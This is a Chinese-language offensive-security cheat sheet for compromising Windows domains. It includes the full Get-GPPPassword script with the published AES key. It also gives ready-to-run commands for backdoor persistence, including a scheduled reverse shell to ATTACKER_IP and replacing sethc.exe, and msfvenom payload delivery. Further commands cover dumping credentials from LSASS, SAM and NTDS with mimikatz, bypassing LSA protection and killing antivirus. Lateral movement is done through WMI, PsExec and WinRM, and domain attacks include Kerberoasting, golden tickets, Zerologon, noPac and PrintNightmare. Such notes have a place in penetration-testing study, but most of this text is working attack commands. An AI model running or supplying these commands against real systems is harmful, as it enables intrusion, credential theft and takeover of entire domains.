- <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (内置)" image="2" changed="2017-09-25 22:57:53" uid="{463245FF-08D3-4A28-95E7-42AB416DC508}">
<Properties action="U" newName="" fullName="" description="" cpassword="9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (内置)" />
</User>
</Groups>

其中xml中的密码cpassword是aes加密的,密钥已被微软公开

32字节AES密钥如下:

1
2
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

可以使用相关脚本进行解密

Get-GPPPassword.ps1
自动寻找文件并解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
function Get-GPPPassword {
<#
.SYNOPSIS

检索通过组策略首选项推送的账户的明文密码和其他信息。

PowerSploit 函数: Get-GPPPassword
作者: Chris Campbell (@obscuresec)
许可证: BSD 3-Clause
必要依赖项: 无
可选依赖项: 无

.DESCRIPTION

Get-GPPPassword 在域控制器上搜索 groups.xml、scheduledtasks.xml、services.xml 和 datasources.xml,并返回明文密码。

.PARAMETER Server

指定要搜索的域控制器。
默认为用户当前所在的域。

.PARAMETER SearchForest

映射所有可访问的信任关系,并搜索所有可访问的 SYSVOL。

.EXAMPLE

Get-GPPPassword

NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml

NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml

NewName : [BLANK]
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
Passwords : {password, password1234$}
UserNames : {administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml

NewName : [BLANK]
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
Passwords : {password, read123}
UserNames : {DEMO\Administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml

.EXAMPLE

Get-GPPPassword -Server EXAMPLE.COM

NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml

NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml

.EXAMPLE

Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq

password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!

.LINK

http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>

# 禁用关于 WMICmdlet、ShouldProcess 和 PlainTextForPassword 的警告
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[CmdletBinding()]
Param (
[ValidateNotNullOrEmpty()]
[String]
$Server = $Env:USERDNSDOMAIN,

[Switch]
$SearchForest
)

# 定义用于解码和解密密码的辅助函数
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)

try {
# 根据字符串长度附加适当的填充
$Mod = ($Cpassword.length % 4)

switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}

$Base64Decoded = [Convert]::FromBase64String($Cpassword)

# 确保加载了 System.Core
[System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null

# 创建新的 AES .NET 加密对象
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

# 设置 IV 为全零以防止动态生成 IV 值
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}

catch { Write-Error $Error[0] }
}

# 解析 XML 文件中的字段的辅助函数
function Get-GPPInnerField {
[CmdletBinding()]
Param (
$File
)

try {
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)

# 检查是否存在 cpassword 字段
if ($Xml.innerxml -match 'cpassword') {

$Xml.GetElementsByTagName('Properties') | ForEach-Object {
if ($_.cpassword) {
$Cpassword = $_.cpassword
if ($Cpassword -and ($Cpassword -ne '')) {
$DecryptedPassword = Get-DecryptedCpassword $Cpassword
$Password = $DecryptedPassword
Write-Verbose "[Get-GPPInnerField] 已解密密码:'$File'"
}

if ($_.newName) {
$NewName = $_.newName
}

if ($_.userName) {
$UserName = $_.userName
}
elseif ($_.accountName) {
$UserName = $_.accountName
}
elseif ($_.runAs) {
$UserName = $_.runAs
}

try {
$Changed = $_.ParentNode.changed
}
catch {
Write-Verbose "[Get-GPPInnerField] 无法检索 ParentNode.changed 字段:'$File'"
}

try {
$NodeName = $_.ParentNode.ParentNode.LocalName
}
catch {
Write-Verbose "[Get-GPPInnerField] 无法检索 ParentNode.ParentNode.LocalName 字段:'$File'"
}

if (!($Password)) {$Password = '[BLANK]'}
if (!($UserName)) {$UserName = '[BLANK]'}
if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'}

$GPPPassword = New-Object PSObject -Property @{
'File' = $File
'NewName' = $NewName
'UserNames' = $UserName
'Passwords' = $Password
'Changed' = $Changed
}

Write-Output $GPPPassword
}
}
}
}
catch { Write-Verbose "[Get-GPPInnerField] 出现异常:$Error[0]" }
}

# 定义搜索范围
if ($SearchForest) {
Write-Verbose "[Get-GPPPassword] 映射整个林信任关系..."
$Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$Sysvols = @()
foreach ($Domain in $Forest.Domains) {
$Sysvols += "\\$($Domain.name)\SYSVOL"
}
}

# 设置搜索路径
else { $Sysvols = @("\\$Server\SYSVOL") }

# 搜索目标文件
$Files = @()
foreach ($Sysvol in $Sysvols) {
Write-Verbose "[Get-GPPPassword] 搜索 '$Sysvol'..."

try {
$Files += Get-ChildItem -Recurse -Path $Sysvol -Filter "Groups.xml"
$Files += Get-ChildItem -Recurse -Path $Sysvol -Filter "Services.xml"
$Files += Get-ChildItem -Recurse -Path $Sysvol -Filter "Scheduledtasks.xml"
$Files += Get-ChildItem -Recurse -Path $Sysvol -Filter "DataSources.xml"
}
catch {
Write-Verbose "[Get-GPPPassword] 无法获取文件:$Error[0]"
}
}

# 检索并解密密码
foreach ($File in $Files) {
Get-GPPInnerField -File $File
}
}
浏览器

HackBrowserData

SharpWeb

SharpDPAPI

360SafeBrowsergetpass

BrowserGhost

Browser-cookie-steal

权限维持

篡改非特权账户

分配组权限

1
2
3
net localgroup administrators thmuser0 /add		# 将thmuser0添加到administrators组
net localgroup "Backup Operators" thmuser1 /add # 将thmuser1添加到备份管理员组
net localgroup "Remote Management Users" thmuser1 /add # 将thmuser1添加到远程管理用户组

特殊权限和安全描述符

RID劫持

后门文件

可执行文件白加黑

快捷方式文件

劫持文件关联

服务

创建后门服务

1
2
3
4
5
6
7
# 创建并启动一个名为“THMservice”的服务,服务启动时,将执行“net user”命令,将管理员密码重置为Passwd123
sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice

# 创建运行后门文件的服务
sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2

修改现有服务

计划任务

1
2
3
4
5
# 创建一个每分钟运行一次反弹shell的任务
schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM

# 以SYSTEM权限打开Regedit
c:\tools\pstools\PsExec64.exe -s -i regedit

然后在注册表中删除安全描述符SD(用于隐藏,避免被发现)

image-20250117132133778

登录触发

启动文件夹(Startup folder)

C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup放置用户登录时要运行的可执行文件

Run / RunOnce

注册表项

1
2
3
4
5
6
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

# 创建一个REG_EXPAND_SZ注册表项,随意起名

Winlogon

注册表项

1
2
3
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon

# Userinit和shell都可,不要破坏原本程序,可以白加黑或逗号分隔命令

Logon scripts

环境变量(其实还是注册表项)

1
2
3
4
HKCU\Environment

# 条目
UserInitMprLogonScript

登录界面 / RDP

Sticky Keys(粘滞键)

连续按 SHIFT 5次激活粘滞键会执行C:\Windows\System32\sethc.exe

提前替换C:\Windows\System32\sethc.exe即可

1
2
3
takeown /f c:\Windows\System32\sethc.exe	# 将 sethc.exe 文件的所有权更改为当前用户(机器名/管理员,用whoami可查看)
icacls C:\Windows\System32\sethc.exe /grant Administrator:F # 为管理员用户授予对 sethc.exe 文件的完全控制权限
copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe # 将 cmd.exe 复制并替换为 sethc.exe

Utilman

无障碍服务,点击执行C:\Windows\System32\Utilman.exe

将其替换即可,过程同上

Web服务相关

Web Shell

webshell

MSSQL

提权

1
2
3
whoami /priv       #列出当前用户账户所具有的特权
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml #Windows识别组策略文件中可能以明文或易于解密的格式存储密码的位置
findstr /si 'password' *.txt *.xml *.docx #查找内容有 password 的文件

自动化

PrivescCheck

PrivescCheck

1
. .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended	

PowerSploit

https://github.com/PowerShellMafia/PowerSploit

1
2
. .\PowerUp.ps1
Invoke-AllChecks

Potato

1
2
3
使用Potato提权都需要下列两个特权中的一个。
1.SeImpersonatePrivilege(替换一个进程级令牌)
2.SeAssignPrimaryTokenPrivilege (身份验证后模拟客户端)

手工

计划任务

1
2
3
4
5
schtasks			# 列出所有计划任务
schtasks /query /tn vulntask /fo list /v # 查看vulntask计划任务的详细信息
icacls c:\tasks\schtask.bat # 查看可执行文件权限
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 >> C:\tasks\schtask.bat # 将反弹shell命令追加到末尾
schtasks /run /tn vulntask # 手动启动vulntask计划任务

配置错误

服务配置错误

所有服务配置都存储在注册表下的 HKLM\SYSTEM\CurrentControlSet\Services\

1
2
sc query	# 查看所有服务
sc qc apphostsvc # 查看apphostsvc服务的配置信息
服务可执行文件权限不安全
1
2
3
4
5
6
7
8
9
10
11
12
13
icacls C:\PROGRA~2\SYSTEM~1\WService.exe	# 检查服务可执行文件的权限
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe # 用msfvenom生成payload
python3 -m http.server # 起http
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe # 提取

cd C:\PROGRA~2\SYSTEM~1\ # 进入可执行文件路径
move WService.exe WService.exe.bkp # 备份原exe
move C:\Users\thm-unpriv\rev-svc.exe WService.exe # 鸠占鹊巢
icacls WService.exe /grant Everyone:F # 授予Everyone组完全权限

# 重启服务,一般没这个权限
sc stop windowsscheduler
sc start windowsscheduler
AlwaysInstallElevated
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 两个结果都为1时说明可利用
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# 类似于 wget 或 curl,用于下载文件
IWR -Uri http://172.16.1.30/evil.msi -OutFile evil.msi

# 执行(安装)msi文件
msiexec /i evil.msi # 基本执行
msiexec /i evil.msi /quiet /norestart # 静默安装,并设置安装后不重启
# 在powershell中静默执行
Start-Process msiexec -ArgumentList "/i evil.msi /quiet /norestart" -WindowStyle Hidden -NoNewWindow
# 下载到内存中安装,不在磁盘上留下痕迹
IEX (IWR -Uri http://172.16.1.30/evil.msi -UseBasicParsing) | msiexec /i - /quiet /norestart

已获取凭据

1
runas /savecred /user:admin cmd.exe	#以 admin 用户的身份启动一个新的cmd,第一次运行需输入密码

拥有本地管理员权限

获取密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#创建一个名为 lsass.dmp 的文件,其中包含了 lsass.exe 进程的完整内存转储
procdump.exe -accepteula -ma lsass.exe lsass.dmp

#加载lsass.dmp,提取登录凭据
mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

#提升权限,直接从内存中提取登录密码,并从SAM数据库中提取信息
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"

#msf模块
post/windows/gather/smart_hashdump

#在指定的IP范围内,使用提供的用户名和密码尝试通过SMB服务登录目标系统,并执行 lsassy 模块来提取凭据信息
crackmapexec smb <ip_range> -u <user> -p <password> -M lsassy
#在指定的IP范围内,使用提供的用户名和密码尝试通过SMB服务登录目标系统,并选择性地从SAM、LSA或NTDS数据库中提取信息
crackmapexec smb <ip_range> -u <user> -p '<password>' --sam / --lsa / --ntds

#查看本地存储的所有密码,包括各种常用软件的密码
laZagne.exe all

绕过LSA防护策略读取密码

1
2
3
4
PPLdump64.exe <lsass.exe|lsass_pid> lsass.dmp 	#创建LSASS进程的内存转储

#移除对 LSASS 进程的保护、提升权限、获取系统登录密码信息,并在完成后重新启用 LSASS 进程保护
mimikatz "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "!processprotect /process:lsass.exe" "!-" #with mimidriver.sys

token窃取

1
2
3
4
5
6
7
8
.\incognito.exe list_tokens -u	#列出当前用户会话中与当前用户相关的所有令牌
.\incognito.exe execute -c "<domain>\<user>" powershell.exe #模拟指定用户启动powershell
.\incognito.exe execute -c "完整的Token名" cmd.exe #模拟指定用户启动命令行
.\incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe #此为上条的一个例子

#在msf中
use incognito
impersonate_token <domain>\\<user>

卷影拷贝(获取域控所有hash)

1
2
diskshadow list shadows all		#列出系统上所有现有的卷影副本
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ #创建一个符号链接,将 c:\shadowcopy 目录链接到特定卷影副本的位置
1
2
3
4
5
6
#管理员权限执行
vssadmin create shadow /for=C: #为 C: 盘(系统盘)创建一个卷影副本
#利用卷影副本卷名拷贝ntds.dit文件与用注册表导出system.hive
copy \\?\GLOBALLROOT\Device\xxxxxxxxxx\windows\ntds\ntds.dit C:\ntds.dit #将拷贝卷影副本中的 ntds.dit 文件到本地系统的 C:\ntds.dit
reg sava hklm\system system.hive #将注册表中的 System Hive 导出为 system.hive
vssadmin delete shadows /for=C: /quiet #删除之前创建的卷影副本,并通过 /quiet 参数静默删除,不显示任何输出

https://0range-x.github.io/2021/11/22/CVE-2020-1472/

关闭杀软

卡巴斯基
1
taskkill /IM avp.exe /IM avpsus.exe /IM avpui.exe /IM avpui.exe /F   #关闭相关进程,但似乎没啥效果,马上又重启了

横向移动

创建远程连接

Psexec

1
2
3
4
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
ssh za\\rachael.atkinson@thmjmp2.za.tryhackme.com
msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > cl0v3.msi
use exploit/multi/handler

WinRM

windows自带

1
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd

用powershell实现相同效果:

1
2
3
4
5
6
7
8
9
10
11
# 创建 PSCredential 对象
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

# 使用 Enter-PSSession 命令行工具创建交互式会话,用于长时间交互
Enter-PSSession -Computername TARGET -Credential $credential

# Invoke-Command 通过 WinRM 远程运行 ScriptBlocks,简单执行一条命令
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}

使用 sc 远程创建服务

自带

1
2
3
4
5
6
7
# 创建并启动一个名为 "THMservice" 的服务
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice

# 停止并删除服务
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice

创建远程计划任务

盲攻击,无法看到输出

1
2
3
4
# 创建一个名为 THMtask1 的任务,设置在指定的时间和日期仅运行一次
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "THMtask1" # 手动运行该任务,因此指定的开始日期和开始时间无影响
schtasks /S TARGET /TN "THMtask1" /DELETE /F # 删除计划任务,清理现场

利用WMI

从 PowerShell 连接到 WMI(前置准备)

1
2
3
4
5
6
7
8
9
# 创建 PSCredential 对象
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

# 建立 WMI 会话并将会话存储在$Session 变量中,此处DCOM可替换为Wsman
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop

创建远程进程

1
2
3
4
5
6
# 向 Win32_Process 类发送 WMI 请求,在之前创建的会话中启动进程
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}

在传统系统中,使用如下cmd命令实现相同操作

1
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe" 

远程创建服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 创建一个名为 THMService2 的服务
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2"; # 服务名称
DisplayName = "THMService2"; # 服务显示名称
PathName = "net user munra2 Pass123 /add"; # 你的有效负载
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : 在新进程中启动服务
StartMode = "Manual" # 启动模式为手动

# 启动服务
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService

# 停止并删除服务
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete

远程创建计划任务

1
2
3
4
5
6
7
8
9
10
# payload必须拆分为命令和参数
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"

#删除使用后的计划任务
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"

安装 MSI 包

需要提前将msi包传到目标系统中

1
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

在传统系统中,使用如下cmd命令实现相同操作:

1
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi

使用替代认证材料

获取域内所有账户名

1
python GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username>

枚举smb共享

1
2
# 列出目标系统上通过 SMB 共享的所有文件夹及其访问权限
crackmapexec smb <ip> -u <user> -p <password> --shares

bloodhound

1
2
# 收集整个 Active Directory 环境的关系数据,包括用户、组、计算机及其权限关系。收集到的数据会存储为 JSON 文件,供 BloodHound 图形界面分析工具使用
bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all

Kerberoasting攻击

1
2
3
4
5
6
7
8
# 获取所有设置了 SPN 的用户账户信息,包含票据
GetUserSPNs.py -request -dc-ip <dc_ip> <domain>/<user>:<password>

# 使用 Rubeus 自动抓取票据
Rubeus.exe kerberoast /outfile:hashes.txt

# hashcat破解票据
hashcat -m 13100 hashes.txt <wordlist>

MS14-068

1
2
3
4
5
6
7
8
9
rpcclient $> lookupnames <name>		# 返回指定用户名或组名的SID和账户类型

wmic useraccount get name,sid # 列出所有用户的用户名和SID

auxiliary/admin/kerberos/ms14_068_kerberos_checksum #msf模块

# 通过 NTLM 中继的方式,生成一个伪造的 Kerberos 票据,从而直接以域管理员权限访问目标系统
goldenPac.py -dc-ip <dc_ip> <domain>/<user>:'<password>'@<target>
goldenPac.py -dc-ip 192.168.1.1 example.com/user1:'password123'@192.168.1.2 # 示例
1
2
# Mimikatz 的一部分,将提供的 Kerberos 票据 注入当前会话,从而以该票据的身份执行操作
kerberos::ptc "<ticket>"

PrintNightmare

即CVE-2021-1675

1
2
3
4
# 准备恶意 DLL,其代码在被目标系统加载后执行。
# 在攻击者主机设置 SMB 共享,将恶意 DLL 文件存放其中。
# 运行 CVE-2021-1675.py
CVE-2021-1675.py <domain>/<user>:<password>@<target> '\\<smb_server_ip>\<share>\inject.dll'

获取域控

MS14-068 Kerberos

WindowsExploits/MS14-068 at master · abatchy17/WindowsExploits — WindowsExploits/MS14-068 at master · abatchy17/WindowsExploits

1
ms-14-068.exe -u  域用户@域控名  -p 域用户密码 -s 域用户sid -d 域ip

利用mimikatz将工具得到的TGT_domainuser@SERVER.COM.ccache写入内存,创建缓存证书:

1
2
3
4
5
mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit	#加载 Kerberos TGT到当前会话
net use k: \pentest.comc$ #将远程计算机pentest.com的C盘共享映射到本地的K:驱动器

#用psexec连接
pxesec64.exe \\域控主机名 cmd.exe

kerberos黄金票据

需要具备对域控制器的DCSync权限

1
2
3
4
5
6
lsadump::dcsync /domain:pentest.com /user:krbtgt	# 提取 krbtgt 账户的哈希值
kerberos::purge # 清除 Mimikatz 当前会话中的所有 Kerberos 票据
kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribi # 生成一个 黄金票据
kerberos::ptt administrator.kiribi #将一个票据加载到当前会话中
kerberos::tgt #查看当前会话的票据信息
net use k: \pnet use k: \pentest.comc$ #将目标计算机 pentest.com 的 C$ 共享(管理员共享)映射到本地的 K: 驱动器

kerberos白银票据

黄金票据和白银票据的一些区别: Golden Ticket:伪造 TGT ,可以获取 任何Kerberos 服务权限 银票:伪造TGS, 只能访问指定的服务

加密方式不同: Golden Ticket由 krbtgt 的hash加密 Silver Ticket由 服务账号 (通常为计算机账户)Hash加密 认证流程不同: 金票在使用的过程需要同域控通信 银票在使用的过程不需要同域控通信

域服务账号破解

1
2
kerberos::list /export   # 列出并导出 Kerberos 票据
tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi # 票据爆破

zerologon

1
2
3
4
python3 cve-2020-1472-exploit.py 域控主机名 <ip>	#将域控机器账户重置
python3 secretsdump.py <DOMAIN>/域控主机名$@<IP> -no-pass -just-dc-user "Administrator" #使用dcsync导出域管理员凭证
python3 wmiexec.py -hashes <HASH_admin> <DOMAIN>/Administrator@<IP> #哈希传递,模仿域管理员身份进行登录
python3 restorepassword.py -target-ip <IP><DOMAIN>/域控主机名@域控主机名 -hexpass <HEXPASS>

Mimikatz示例

1
2
3
4
5
6
7
8
9
10
11
12
# $表示计算机账户而不是用户账户
# 通过 Zerologon 漏洞对 dc1.exploit.local 域进行攻击,绕过身份验证,进而重置域控制器的密码或获取对其的控制
lsadump::zerologon /target:dc1.exploit.local /account:dc1$

# 多了个/exploit,表示明确要求执行攻击行为,会尝试直接控制目标域控制器,重置密码等
lsadump::zerologon /target:dc1.exploit.local /account:dc1$ /exploit

# 在 Zerologon 漏洞成功利用后执行,通过 DCsync 攻击,获取域控上的重要账户信息
lsadump::dcsync /dc:dc1.exploit.local /authuser:dc1$ /authdomain:exploit.local /authpassword:"" /domain:exploit.local /authntlm /user:krbtgt

# 在 Zerologon 漏洞成功利用后执行,导出LSA机密信息
lsadump::postzerologon /target:conttosson.locl /account:dc$

Impacket示例

1
2
3
4
5
6
7
8
9
10
python cve-2020-1472-exploit.py DC2008 10.211.55.200

# 提取指定域用户 administrator 的 NTLM 哈希值及历史密码哈希
secretsdump.py -no-pass cgdomain.com/'DC2008$'@10.211.55.200 -history -just-dc-user administrator

# 通过hash传递提取各个域用户的 NTLM 哈希,包含到旧的密码明文hex
secretsdump.py -no-pass cgdomain.com/administrator@10.211.55.200 -hashes aad3b435b51404eeaad3b435b51404ee:3add1560657a19b3166247eb3eb149ae

# 根据上条命令获取到的旧密码明文hex,恢复密码
python restorepassword.py cgdomain.com/DC2008@DC2008 -target-ip 10.211.55.200 - hexpass 59958639cbdd4523de5d42b01adb0e256e0d39aef14c8eef31f4c078862109f253bbb7b3817ab123d013856c028fa4993f5f5b9a830a3a98d87483b29df3fb55082a1f464b19220a2c04f6605d2d321a04afbb551f8f19a13d399f9f5af2aa23c5b76b49001033516fefd90cb0348256e8282b22cbf9e70d82a8b8d2916d578246e288af3af727533d36ad8950fe1c513771377d98a947c4a8eae2b581a74b6687a2e533b7e89e8d03c2e6c2123d519489869a6e33d3a8884be33107060b62e2852502261f48c097ddb68750cc55b7688cc951441cf02989a307f55c008e978edbaf31766d17b53505016c7580cb480b
恢复方法二

通过wmic, pass the hash 拿到域控中的本地管理员权限(域管)

1
2
3
wmiexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e
test.local/Administrator@10.211.55.38

分别执行下列命令,拷贝本机中SAM数据库到本地

1
2
3
4
5
6
7
8
9
10
11
12
# 保存SAM数据到本地文件
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
# 读取或提取保存的注册表文件
get system.save
get sam.save
get security.save
# 删除保存的注册表数据文件
del /f system.save
del /f sam.save
del /f security.save

提取明文hash

1
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

然后恢复。

CVE-2021-42278 && CVE-2021-42287

sam-the-admin

noPac

1
2
3
4
5
./noPac.exe -domain dc.com -user username -pass 'password' /dc owa.dc.com /mAccount mAusername /mPassword password /service cifs /ptt
# /dc 指定目标域控的主机名或 IP 地址
# /mAccount 指定需要伪造的计算机账户名称
# /mPassword 指定伪造计算机账户的密码
# /service 指定需要访问的服务类型

relay/poisoning攻击

扫描没开启SMB签名的机器

1
2
3
nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK	# 扫描目标网络中的 SMB 服务,检测其安全配置和开放端口
crackmapexec smb $hosts --gen-relay-list relay.txt # 生成一个包含可用于 SMB 中继的目标主机列表,攻击者可以通过这个列表进行中继攻击
